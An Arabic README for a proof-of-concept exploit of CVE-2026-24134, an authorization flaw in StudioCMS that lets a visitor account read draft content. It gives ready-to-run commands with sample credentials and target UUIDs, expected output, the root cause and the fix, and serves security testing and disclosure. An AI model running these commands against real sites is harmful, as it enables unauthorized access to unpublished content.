
إثبات مفهوم لاستغلال CVE-2026-24134، وهي ثغرة في تفويض الوصول على مستوى الكائنات المكسور (BOLA) في StudioCMS، تُظهر وصولًا غير مصرح به إلى المحتوى المسود.
يحتوي هذا المستودع على إثبات المفهوم (PoC) لثغرة CVE-2026-24134، وهي ثغرة في تفويض الوصول على مستوى الكائنات (BOLA) في StudioCMS.
cve_2026_24134_poc.py - سكربت الاستغلال بلغة بايثونpip install requests colorama
# الاستخدام الأساسي
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
# حفظ المخرجات في ملف
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148 \
--save
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--auto-test \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--editor-user editor01 \
--editor-pass editorpass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
-u, --url - عنوان URL الأساسي لـ StudioCMS المستهدف--uuid - معرّف UUID للمحتوى المسودة المستهدف--username - اسم المستخدم للمصادقة--password - كلمة المرور للمصادقة--auto-test - تفعيل الاختبار الآلي--visitor-user - اسم مستخدم حساب الزائر--visitor-pass - كلمة مرور حساب الزائر--editor-user - اسم مستخدم حساب المحرر--editor-pass - كلمة مرور حساب المحرر--save - حفظ محتوى الاستجابة في ملف--no-ssl-verify - تعطيل التحقق من شهادة SSLpython3 cve_2026_24134_poc.py \
--url http://target.com \
--auto-test \
--visitor-user test_visitor \
--visitor-pass SecurePass123! \
--editor-user test_editor \
--editor-pass SecurePass456! \
--uuid 12345678-1234-1234-1234-123456789abc
المخرجات المتوقعة إذا كان النظام عرضة للثغرة:
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[+] Successfully accessed draft content!
[!] VULNERABILITY CONFIRMED!
المخرجات المتوقعة إذا كان النظام مُصَلَّحًا:
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[*] Access denied (403 Forbidden)
[+] VULNERABILITY NOT PRESENT
python3 cve_2026_24134_poc.py \
--url http://localhost:4321 \
--username attacker \
--password pass123 \
--uuid target-uuid-here \
--save
سيؤدي هذا إلى حفظ المحتوى الكامل للمسودة في draft_{uuid}.html.
[+] - عملية ناجحة (بالأخضر)[*] - رسالة إعلامية (بالأزرق)[!] - تحذير (بالأصفر)[-] - خطأ (بالأحمر)إذا كنت تشغّل إصدارًا عرضة للثغرة من StudioCMS، قم بالتحديث فورًا إلى الإصدار المُصَلَّح.
المشكلة الحقيقية: كانت عمليات التحقق من التفويض تتم على جانب العميل (JavaScript)، وليس على جانب الخادم.
وفقًا لفريق التطوير:
"حاليًا يتم التحقق من مستوى الرتبة لإعادة التوجيه في JavaScript على جانب العميل، وكان من المفترض استبدالها بعد ذلك بوقت قصير."
الإصلاح: نقل التفويض من جانب العميل إلى الخادم.
المبدأ الأساسي: لا تثق أبدًا في العميل. أمان جانب العميل = تحسين تجربة المستخدم. أمان جانب الخادم = حماية فعلية.
مهم: هذه الأداة مقدمة لأغراض تعليمية واختبار الأمان المصرح به فقط.
للاستفسارات حول هذا الإثبات أو الثغرة:
تم إصدار هذا الإثبات لأغراض تعليمية. استخدمه بمسؤولية وأخلاقية.